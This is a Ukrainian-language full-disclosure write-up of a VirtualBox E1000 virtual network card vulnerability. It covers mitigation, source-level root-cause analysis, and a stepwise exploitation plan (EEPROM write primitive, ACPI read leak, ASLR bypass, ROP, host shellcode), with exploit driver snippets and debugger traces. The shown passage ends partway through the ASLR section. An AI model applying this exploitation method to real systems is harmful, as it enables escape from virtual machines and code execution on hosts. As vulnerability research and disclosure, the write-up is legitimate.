Full disclosure: 0day-уразливість втечі з VirtualBox

 

Мені подобається VirtualBox, і він не має ніякого відношення до причини, по якій я викладаю інформацію про уразливості. Причина полягає в незгоді з поточними реаліями в інформаційній безпеці, точніше, в напрямку security research і bug bounty.

 

  1. Вважається нормальним чекати патча для вразливостей за півроку, якщо тільки ці баги вже не в публічному доступі.
  2. В області bug bounty-програм вважається нормальним:
    1. Чекати більше місяця, поки вразливість не буде перевірена і не буде озвучено рішення про її придбання.
    2. На ходу змінювати рішення про те, чи буде програма купувати баги для даного софта. Сьогодні ви дізналися, що так, куплять, а через тиждень приходьте з багами і експлойтів та отримуєте відповідь, що ні, не куплять.
    3. Не мати чіткого списку додатків, за баги в якому будуть платити. Так, зручно організаторам bug bounty, ні, незручно дослідникам.
    4. Не мати чітко заданих верхніх і нижніх меж цін за уразливості. Факторів, що впливають на ціну, надзвичайно багато, але дослідники повинні бачити, на що варто витрачати свій час, а що не варто дні.
  3. Манія величі і маркетингова нісенітниця: давати назви вразливостей і створювати для них сайти; проводити тисячу конференцій на рік; перебільшувати важливість своєї роботи; вважати себе “спасителем світу”. Спустіться на землю, Ваше високість.

 

Перші два пункти остаточно виснажили мене, тому мій хід — full disclosure.

 

Загальна інформація

 

Вразливе ПО: VirtualBox 5.2.20 і більш ранні версії.
Хостова ОС: будь-яка, баг перебуває у спільній кодової базі.
Гостьова ОС: будь-яка.
Конфігурація ВМ: за замовчуванням (для експлуатації потрібно тільки, щоб мережевою картою була Intel PRO/1000 MT Desktop (82540EM), а режимом роботи був NAT).

 

Як захиститися

 

Поки не вийшла пропатченная версія VirtualBox, змініть в налаштуваннях своїх віртуальних машин мережеву карту на PCnet (яку з двох) або на Paravirtualized Network. Якщо можливості немає, то змініть для адаптера Intel режим роботи з NAT на будь-який інший. Перший варіант надійніше.

 

Введення

 

При створенні нової віртуальної машини мережним адаптером за замовчуванням є Intel PRO/1000 MT Desktop (82540EM), налаштований на роботу в режимі NAT. Для стислості ми будемо називати його E1000.

 

Код віртуального пристрою E1000 містить уразливість, яка дозволяє атакуючому з правами root/administrator у гостьовій ОС здійснити втечу в хостовую ОС і виконати код ring 3. Потім атакуючий може скористатися вже відомими техніками підвищення привілеїв до ring 0 з допомогою драйвера VirtualBox /dev/vboxdrv.

 

Аналіз вразливості

 

Загальні відомості про E1000

 

Для відправки мережевих пакетів гість робить все те ж саме, що і звичайний комп’ютер: налаштовує мережевий адаптер і віддає йому пакети, які складаються з кадрів канального рівня і інших більш високорівневих заголовків. Пакети передаються адаптера не самі по собі, а обгорнутими в Tx-дескриптори (Transmit Descriptor). Ці структури даних, описані в специфікації мережевої карти (317453006EN.PDF, Revision 4.0), зберігають різну метаінформацію, таку як розмір пакета або тег VLAN, керують TCP/IP-сегментацією і т. д.

 

Специфікація 82540EM передбачає три типи Tx-дескрипторів: legacy, context, data. Legacy-дескриптори були актуальні, мабуть, у минулому. Інші два використовуються у зв’язці. Для нас важливо тільки те, що context-дескриптори задають максимальний розмір пакету і включають/відключають TCP/IP-сегментацію, а в data-дескриптори містяться адреси пакетів у фізичній пам’яті і задається їх розмір. Розмір пакета data-дескрипторі не може бути більше, ніж вказано в context-дескрипторі. Context-дескриптори передаються мережевій карті, як правило, до data-дескрипторів.

 

Щоб передати Tx-дескриптори мережевого адаптера, вони записуються в Tx-кільце (Transmit Descriptor Ring). Це кільцевої буфер, розташований у фізичній пам’яті за заздалегідь заданою адресою. Коли всі необхідні дескриптори записані в кільце, гість оновлює реєстр TDT (Transmit Descriptor Tail) в MMIO адаптера, що сигналізує хосту про появу нових дескрипторів, які потрібно обробити.

 

Вихідні дані

 

У нас є наступний масив Tx-дескрипторів:

 

[context_1, data_2, data_3, context_4, data_5]

 

Припустимо, що в них міститься наступна інформація (назви полів спеціально зроблені человекочитаемыми, але вони відповідають полям дескрипторів специфікації 82540EM):

 

context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

 

Незабаром ми розберемося, чому дескриптори мають бути саме такими для експлуатації помилки.

 

Суть уразливості

 

Обробка [context_1, data_2, data_3]

 

Уявімо, що гість записав у точній послідовності наведені вище дескриптори в Tx-кільце і оновив регістр TDT. Тепер процес VirtualBox на хості виконає функцію e1kXmitPending, розташовану в файлі src/VBox/Devices/Network/DevE1000.cpp (більшість коментарів тут і далі видалені на догоду читаності):

 

static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
 while (!pThis->fLocked && e1kTxDLazyLoad(pThis))
{
 while (e1kLocateTxPacket(pThis))
{
 fIncomplete = false;
 rc = e1kXmitAllocBuf(pThis, pThis->fGSO);
 if (RT_FAILURE(rc))
 goto out;
 rc = e1kXmitPacket(pThis, fOnWorkerThread);
 if (RT_FAILURE(rc))
 goto out;
 }

 

Функція e1kTxDLazyLoad вважає всі 5 Tx-дескрипторів із Tx-кільця. Потім e1kLocateTxPacket буде викликана в перший раз. Ця функція обходить всі дескриптори і готує стан для подальшої роботи, але основну роботу по обробці дескрипторів не виконує. У нашому випадку перший виклик e1kLocateTxPacket обробить дескриптори context_1, data_2, data_3. Два дескриптора, context_4 і data_5, будуть оброблені на наступній ітерації циклу while (ми розглянемо другу ітерацію в наступному розділі). Це розділення масиву дескрипторів надвоє веде до важливих наслідків, тому подивимося, чому воно відбувається.

 

Функція e1kLocateTxPacket виглядає так:

 

static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
 for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
{
 E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
 switch (e1kGetDescType(pDesc))
{
 case E1K_DTYP_CONTEXT:
 e1kUpdateTxContext(pThis, pDesc);
continue;
 case E1K_DTYP_LEGACY:
...
break;
 case E1K_DTYP_DATA:
 if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
break;
...
break;
default:
 AssertMsgFailed(("Impossible descriptor type!"));
 }

 

Перший дескриптор (context_1) — E1K_DTYP_CONTEXT, тому викликається функція e1kUpdateTxContext. Ця функція оновлює контекст TCP-сегментації, якщо в дескрипторі була запрошена сегментація. Це істинно для нашого дескриптора context_1 (див. попередній розділ), тому контекст TCP-сегментації буде оновлено (суть “оновлення контексту TCP-сегментації” нам нецікава, тому будемо використовувати цей термін просто для того, щоб посилатися на цю ділянку коду).

 

Другий дескриптор (data_2) — E1K_DTYP_DATA, для нього виконуються деякі інші дії, що не мають для нас значення.

 

Третій дескриптор (data_3) — E1K_DTYP_DATA, але оскільки data_3.data_length == 0 (pDesc->data.cmd.u20DTALEN в коді вище), ніяких дій не виконується.
В даний момент часу всі три дескриптора спочатку оброблені, і у нас є ще два необроблених дескриптора. Тепер фокус: у наведеному вище коді після оператора switch йде перевірка, чи встановлений прапор end_of_packet в дескрипторі. Це істинно для дескриптора data_3 (data_3.end_of_packet == true), тому код виконує деякі дії і виходить з функції:

 

 if (pDesc->legacy.cmd.fEOP)
{
...
 return true;
 }

 

Якби прапор data_3.end_of_packet не був встановлений, тоді два дескриптора були б також спочатку оброблені, і це запобігло б вразливість. Нижче ви побачите, чому цей вихід з функції ще до обходу всіх дескрипторів веде до багу.

 

Отже, при поверненні з e1kLocateTxPacket ми маємо наступні дескриптори, готові до того, щоб витягти з них мережеві пакети і відправити в мережу: context_1, data_2, data_3. Тепер у внутрішньому циклі while функції e1kXmitPending викликається e1kXmitPacket. Ця функція знову обходить всі дескриптори (5 в нашому випадку), щоб нарешті-таки обробити їх:

 

static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
 while (pThis->iTxDCurrent < pThis->nTxDFetched)
{
 E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
...
 rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
...
 if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
break;
 }

 

Для кожного дескриптора викликається функція e1kXmitDesc:

 

static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr,
 bool fOnWorkerThread)
{
...
 switch (e1kGetDescType(pDesc))
{
 case E1K_DTYP_CONTEXT:
...
break;
 case E1K_DTYP_DATA:
{
...
 if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0)
{
 E1kLog2(("% Empty data descriptor, skipped.n", pThis->szPrf));
}
else
{
 if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg)))
{
...
}
 else if (!pDesc->data.cmd.fTSE)
{
...
}
else
{
STAM_COUNTER_INC(&pThis->StatTxPathFallback);
 rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread);
}
}
 ...

 

Перший дескриптор, який передається в e1kXmitDesc, це context_1. Функція не робить нічого для context-дескрипторів.

 

Другий дескриптор це data_2. Оскільки для всіх data-дескрипторів у нас встановлений прапор tcp_segmentation_enable == true (pDesc->data.cmd.fTSE у коді вище), ми викликаємо функцію e1kFallbackAddToFrame, де пізніше відбудеться переповнення цілочисельної змінної при обробці дескриптора data_5.

Читайте також  Відновлення даних з порожнього місця

 

static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
...
 uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

/*
 * Carve out segments.
*/
 int rc = VINF_SUCCESS;
do
{
 /* Calculate how many bytes we have left in this TCP segment */
 uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
 if (cb > pDesc->data.cmd.u20DTALEN)
{
 /* This descriptor fits completely into current segment */
 cb = pDesc->data.cmd.u20DTALEN;
 rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
}
else
{
...
}

 pDesc->data.u64BufAddr += cb;
 pDesc->data.cmd.u20DTALEN -= cb;
 } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

 if (pDesc->data.cmd.fEOP)
{
...
 pThis->u16TxPktLen = 0;
...
}

 return VINF_SUCCESS;
}

 

Найважливіші для нас змінні тут: u16MaxPktLen, pThis->u16TxPktLen, pDesc->data.cmd.u20DTALEN.

 

Намалюємо таблицю, де будуть вказані значення змінних до і після виконання функції e1kFallbackAddToFrame для двох data-дескрипторів.

 

Tx-дескриптор До/Після u16MaxPktLen pThis->u16TxPktLen pDesc->data.cmd.u20DTALEN

data_2До0x301000x10
Після0x30100x100
data_3До0x30100x100
Після0x30100x100

 

Для нас тут важливо лише те, що коли data_3 оброблений, pThis->u16TxPktLen дорівнює 0x10.
А тепер самий важливий момент. Погляньте ще раз на кінець лістингу для функції e1kXmitPacket:

 

 if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
 break;

 

Оскільки тип дескриптора data_3 не дорівнює E1K_DTYP_CONTEXT, і оскільки data_3.end_of_packet == true, ми робимо break з циклу незважаючи на той факт, що нам потрібно ще обробити context_4 і data_5. Ми знову не закінчили роботу з дескрипторами, як і у випадку з первинною обробкою. Чому це важливо? Щоб зрозуміти суть проблеми, треба зрозуміти, що всі context-дескриптори обробляються до data-дескрипторів. Context-дескриптори обробляються в процесі оновлення контексту TCP-сегментації функції e1kLocateTxPacket. Data-дескриптори обробляються пізніше, у функції e1kXmitPacket. Розробники зробили так для того, щоб заборонити зміну змінної u16MaxPktLen, яка контроллируется context-дескрипторами, після того як кілька байт мережевих пакетів були оброблені. Якщо б ми могли в будь-який момент часу змінювати context-дескриптори, то легко могли б домогтися цілочисельного переповнення в e1kFallbackAddToFrame (розмір оброблених даних лежить в pThis->u16TxPktLen):

 

uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

 

Але ми можемо обійти цю захист від переповнення. Пригадайте, що ще в e1kLocateTxPacket ми змусили функцію виконати повернення з-за того, що data_3.end_of_packet == true. З-за цього у нас залишилися ще два дескриптора (context_4 і data_5), які очікують первісної та фінальної обробки незважаючи на те, що ми вже опрацювали кілька байт (pThis->u16TxPktLen дорівнює 0x10, а не нулю).

 

Отже, у нас з’явилася можливість змінити u16MaxPktLen довільним чином з допомогою context_4.maximum_segment_size, щоб домогтися цілочисельного переповнення.

 

Обробка [context_4, data_5]

 

Ми повністю обробили перші три дескриптора і повертаємося в початок внутрішнього циклу while функції e1kXmitPending:

 

 while (e1kLocateTxPacket(pThis))
{
 fIncomplete = false;
 rc = e1kXmitAllocBuf(pThis, pThis->fGSO);
 if (RT_FAILURE(rc))
 goto out;
 rc = e1kXmitPacket(pThis, fOnWorkerThread);
 if (RT_FAILURE(rc))
 goto out;
 }

 

Тут ми викликаємо e1kLocateTxPacket, щоб виконати первинну обробку context_4 і data_5. Як було сказано раніше, ми можемо встановити значення context_4.maximum_segment_size довільним чином, у т. ч. таких, що воно буде меншим від розміру даних, які ми вже опрацювали. Згадайте наші вихідні дані:

 

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

 

Після виконання e1kLocateTxPacket ми маємо максимальний розмір мережевого пакету рівним 0xF, в той час як розмір вже опрацьованих даних дорівнює 0x10.

 

Нарешті, в процесі обробки data_5 викликається функція e1kFallbackAddToFrame, де ми маємо наступні значення змінних:

 

Tx-дескриптор До/Після u16MaxPktLen pThis->u16TxPktLen pDesc->data.cmd.u20DTALEN

data_5До0xF0x100x4188
Після

 

Як наслідок, виникає цілочисельне переповнення:

 

uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
=>
uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;

 

Це дозволяє нам успішно виконати наступну перевірку, т. к. 0xFFFFFFFF > 0x4188:

 

 if (cb > pDesc->data.cmd.u20DTALEN)
{
 cb = pDesc->data.cmd.u20DTALEN;
 rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
 }

 

Тепер буде викликана функція e1kFallbackAddSegment з розміром (cb), рівним 0x4188. Без уразливості неможливо викликати цю функцію з розміром, більшим 0x4000, т. к. в процесі оновлення контексту TCP-сегментації виконується перевірка, що максимальний розмір сегмента менше або дорівнює 0x4000:

 

DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc)
{
...
 uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /*VTAG*/
 if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE))
{
 pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /*VTAG*/
...
 }

 

Переповнення буфера

 

Яким чином ми можемо проексплуатувати нашу можливість викликати функцію e1kFallbackAddSegment з довільним розміром? Я знайшов як мінімум дві можливості. По-перше, ті дані, які передає гість, копіюються в буфер на купі:

 

static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
...
 PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
 pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

 

Тут pThis->aTxPacketFallback це буфер розміром 0x3FA0, а u16Len дорівнює 0x4188 — очевидне переповнення купи, яке може призвести, припустимо, до перезапису покажчиків на функції, об’єкти або чого завгодно ще.

 

По-друге, якщо ми подивимося глибше, то знайдемо, що e1kFallbackAddSegment викликає функцію e1kTransmitFrame, яка при певній конфігурації регістрів мережевого адаптера викликає e1kHandleRxPacket. Ця функція виділяє на стеку буфер розміром 0x4000 і копіює в нього дані з заданим розміром без будь-яких перевірок, т. к. вони були виконані раніше:

 

static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status)
{
#if defined(IN_RING3)
 uint8_t rxPacket[E1K_MAX_RX_PKT_SIZE];
...
 if (status.fVP)
{
...
}
else
 memcpy(rxPacket, pvBuf, cb);

 

Як бачите, ми перетворили вразливість цілочисельного переповнення в класичну вразливість переповнення стека буфера. Обидва наведених вище прикладу, heap buffer overflow і stack buffer overflow, задіяні в эксплоите.

 

Експлоїт

 

Эксплоитом є модуль ядра Linux, який завантажується в гостьовій ОС. Для Windows потрібно драйвер, який буде відрізнятися хіба що обгорткою для ініціалізації та іншими викликами ядерного API.

 

Завантаження драйвера в обох операційних системах вимагає підвищених привілеїв. Це нормальне явище і не вважається непереборною перешкодою. Для прикладу можна поглянути на змагання Pwn2Own, де дослідники застосовують ланцюжка експлойтів: у гостьовій ОС експлуатується браузер, який відкрив “шкідливий” сайт, робиться втеча з пісочниці браузера для повного доступу до контексту ring 3, експлуатується уразливість в операційній системі для отримання доступу до ring 0, звідки відкриваються всі можливості для атаки на гіпервізор з гостьової ОС.

 

Звичайно, найбільш потужними уразливими в гипервизорах є ті, які експлуатуються з ring 3 гостя. В VirtualBox теж є код, який досяжний без root-привілеїв, і він ще слабо вивчений.

 

Експлоїт стабільний на 100%. Це означає, що він або працює завжди, або не працює взагалі з-за невідповідних бінарників або чогось більш проблемного, мною не передбаченого. На гостьових Ubuntu 16.04 і 18.04 x86_64 з конфігурацією за умовчанням він працює.

 

Алгоритм експлуатації

 

  1. Атакуючий вивантажує модуль ядра e1000.ko, що працює за замовчуванням в гостьових системах Linux, і завантажує свій драйвер.
  2. Драйвер ініціалізує мережевий адаптер E1000 у відповідності зі специфікацією. Ініціалізується тільки transmit-частина, т. к. receive-частина не використовується.
  3. Крок 1: information leak.
    1. Відключається loopback-режим мережевого адаптера, завдяки чому код, що містить stack buffer overflow, буде недосяжний.
    2. З допомогою основний уразливості робиться integer underflow, що веде до heap buffer overflow, але не stack buffer overflow.
    3. Heap buffer overflow призводить до того, що при взаємодії з EEPROM мережевого адаптера можна записати будь-які два байти щодо буфера на купі в межах 128 кілобайт. Тим самим атакуючий отримує write-примітив.
    4. З допомогою write-примітиву вісім разів робиться запис байта в структуру даних на купі, що відноситься до пристрою ACPI (Advanced Configuration and Power Interface). Байт записується в змінну, яка використовується при зверненні до ACPI як індекс у масиві на купі, з якого буде відкрито один байт. Оскільки розмір масиву менше числа, що міститься в байт (255), атакуючий отримує можливість читати за межами масиву, тобто отримує read-примітив.
    5. За допомогою read-примітиву атакуючий робить 8 запитів до ACPI і отримує 8 байт з купи. Ці 8 байт — покажчик щодо динамічної бібліотеки VBoxDD.so.
    6. Драйвер віднімає константу з покажчика і отримує базовий адресу бібліотеки VBoxDD.so.
  4. Крок 2: stack buffer overflow.
    1. Включається loopback-режим мережевого адаптера, завдяки чому буде досягнуто код, що містить stack buffer overflow.
    2. З допомогою основний уразливості робиться integer underflow, що веде до heap buffer overflow і stack buffer overflow. Буде збережений на стеку адресу повернення (RIP/EIP). Атакуючий отримує контроль над виконанням.
    3. Виконується ланцюжок ROP-гаджетів, яка передає керування на завантажувач шеллкода.
  5. Крок 3: shellcode.
    1. Завантажувач шеллкода копіює поруч з собою основний шеллкод з буфера на стеку. Управління передається на шеллкод.
    2. Шеллкод робить системні виклики fork і execve для створення довільного процесу на стороні хоста.
    3. Батьківський процес виконує заключні дії для того, щоб віртуальна машина не скрашилась і продовжила нормальну роботу.
  6. Атакуючий вивантажує драйвер і довантажує e1000.ko назад, щоб гостьова ОС могла продовжити працювати з мережею.
Читайте також  Китайці використовували мікрочіп, щоб контролювати американські комп'ютери

 

Ініціалізація

 

Драйвер відображає ділянку фізичної пам’яті, відповідний MMIO мережевої карти, на віртуальну пам’ять. Фізична адреса і розмір задається гіпервізором.

 

void* map_mmio(void) {
 off_t pa = 0xF0000000;
 size_t len = 0x20000;

 void* va = ioremap(pa, len);
 if (!va) {
 printk(KERN_INFO PFX"ioremap failed to map MMIOn");
 return NULL;
}

 return va;
}

 

Потім виконується конфігурація регістрів загального призначення E1000, виділяється пам’ять під Tx-кільце і конфігуруються transmit-регістри.

 

void e1000_init(void* mmio) {
 // Configure general purpose registers

configure_CTRL(mmio);

 // Configure TX registers

 g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
 if (!g_tx_ring) {
 printk(KERN_INFO PFX"Failed to allocate TX Ringn");
return;
}

configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);
}

 

Обхід ASLR

 

Write-примітив

 

З початку розробки експлоїта я вирішив відмовитися від використання примітивів, знайдених в підсистемах VirtualBox, відключених за замовчуванням. В першу чергу мається на увазі служба Chromium (не браузер), що відповідає за 3D-прискорення, в якій за останній рік дослідники знайшли більше 40 вразливостей. Information leak — це витік інформації, як правило покажчика стосовно якої-небудь динамічної бібліотеки, за яким можна отримати її базовий адресу і обійти захист ASLR.

 

Постало завдання: знайти уразливість класу information leak в компонентах, які працюють за замовчуванням. З’явилася очевидна думка, що раз наша основна уразливість дозволяє заповнити купу, тобто належить до класу heap buffer overflow, ми контролюємо все, що знаходиться за межами цього буфера. Далі ми побачимо, що не потрібні ніякі додаткові уразливості: наш integer underflow виявився настільки потужним, що дав read і write-примітиви, а також information leak і stack buffer overflow.

 

Подивимося, що саме переповнюється на купі.

 

/**
 * Device state structure.
*/
struct E1kState_st
{
...
 uint8_t aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
 E1kEEPROM eeprom;
...
}

 

Тут aTxPacketFallback — це буфер розміром 0x3FA0, який буде переповнений даними, зчитуваними з data-дескриптора. Шукаючи, які цікаві поля за цим буфером можна змінити, на очі попалася структура E1kEEPROM. Всередині неї є інша структура з такими полями (файл src/VBox/Devices/Network/DevE1000.cpp):

 

/**
 * 93C46-compatible EEPROM device emulation.
*/
struct EEPROM93C46
{
...
 bool m_fWriteEnabled;
 uint8_t Alignment1;
 uint16_t m_u16Word;
 uint16_t m_u16Mask;
 uint16_t m_u16Addr;
 uint32_t m_u32InternalWires;
...
}

 

Що нам може дати їх модифікація? У коді E1000 реалізована робота з EEPROM — постійною пам’яттю мережевого адаптера. Гостьова ОС може отримати до неї доступ, використовуючи певні MMIO-регістри E1000. Робота з EEPROM реалізована у вигляді кінцевого автомата, який має кілька станів і виконує чотири дії. Нас буде цікавити тільки дія “запис в пам’ять”. Ось як воно виглядає (файл src/VBox/Devices/Network/DevEEPROM.cpp):

 

EEPROM93C46::State EEPROM93C46::opWrite()
{
 storeWord(m_u16Addr, m_u16Word);
 return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
 if (m_fWriteEnabled) {
 E1kLog(("EEPROM: Stored word %04x at %08xn", u16Value, u32Addr));
 m_au16Data[u32Addr] = u16Value;
}
 m_u16Mask = DATA_MSB;
}

 

Тут m_u16Addr, m_u16Word і m_fWriteEnabled — це значення полів у структурі EEPROM93C46, яку ми повністю контролюємо. Тому можна задати їх таким чином, що при виконанні інструкції

 

m_au16Data[u32Addr] = u16Value;

 

два байти будуть записаний по довільному 16-бітовому зміщення від масиву m_au16Data, який розташовується в тій же структурі. Ми знайшли write-примітив.

 

Read-примітив

 

Наступне завдання полягало в пошуку структур даних на купі, в які був би сенс записувати довільні дані, не забуваючи, що основна мета — злити покажчик щодо якого-небудь модуля, щоб отримати його базовий адресу. На щастя, вдаватися до нестабільного заповнення купи (heap spray) не довелося, оскільки виявилося, що основні структури даних для віртуальних пристроїв виділяються з внутрішньої купи гіпервізора таким чином, що при кожному запуску VirtualBox відстань між цими блоками купи однакову незважаючи на те, що віртуальні адреси блоків при кожному запуску, звичайно ж, розрізняються завдяки ASLR.

 

Говорячи конкретно, при запуску VirtualBox підсистема PDM (Pluggable Device and Driver Manager) для кожного пристрою створює об’єкт PDMDEVINS, який виділяється з купи гіпервізора.

 

int pdmR3DevInit(PVM pVM)
{
...
 PPDMDEVINS pDevIns;
 if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
 rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
else
 rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

 

Я прогнав цю ділянку коду під відладчиком GDB з допомогою скрипта і отримав приблизно такий висновок:

 

[trace-device-constructors] Constructing a device #0x0:
[trace-device-constructors] Name: "pcarch", '00' <який repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6f125a "PC Device Architecture"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc45486c1b0
[trace-device-constructors] Data size: 0x8

[trace-device-constructors] Constructing a device #0x1:
[trace-device-constructors] Name: "pcbios", '00' <який repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc45486c720
[trace-device-constructors] Data size: 0x11e8

...

[trace-device-constructors] Constructing a device #0xe:
[trace-device-constructors] Name: "e1000", '00' <який repeats 26 times>
[trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Ethernet Desktop.n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc470083400
[trace-device-constructors] Data size: 0x53a0

[trace-device-constructors] Constructing a device #0xf:
[trace-device-constructors] Name: "ichac97", '00' <який repeats 24 times>
[trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc470088b00
[trace-device-constructors] Data size: 0x1848

[trace-device-constructors] Constructing a device #0x10:
[trace-device-constructors] Name: "usb-ohci", '00' <який repeats 23 times>
[trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008a4e0
[trace-device-constructors] Data size: 0x1728

[trace-device-constructors] Constructing a device #0x11:
[trace-device-constructors] Name: "acpi", '00' <який repeats 27 times>
[trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008be70
[trace-device-constructors] Data size: 0x1570

[trace-device-constructors] Constructing a device #0x12:
[trace-device-constructors] Name: "GIMDev", '00' <який repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008dba0
[trace-device-constructors] Data size: 0x90

[trace-device-constructors] Instances:
[trace-device-constructors] #0x0 Address: 0x7fc45486c1b0
[trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570
[trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0
[trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0
[trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00
[trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380
[trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0
[trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430
[trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0
[trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0
[trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0
[trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070
[trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080
[trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170
[trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310
[trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700
[trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0
[trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990
[trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30

 

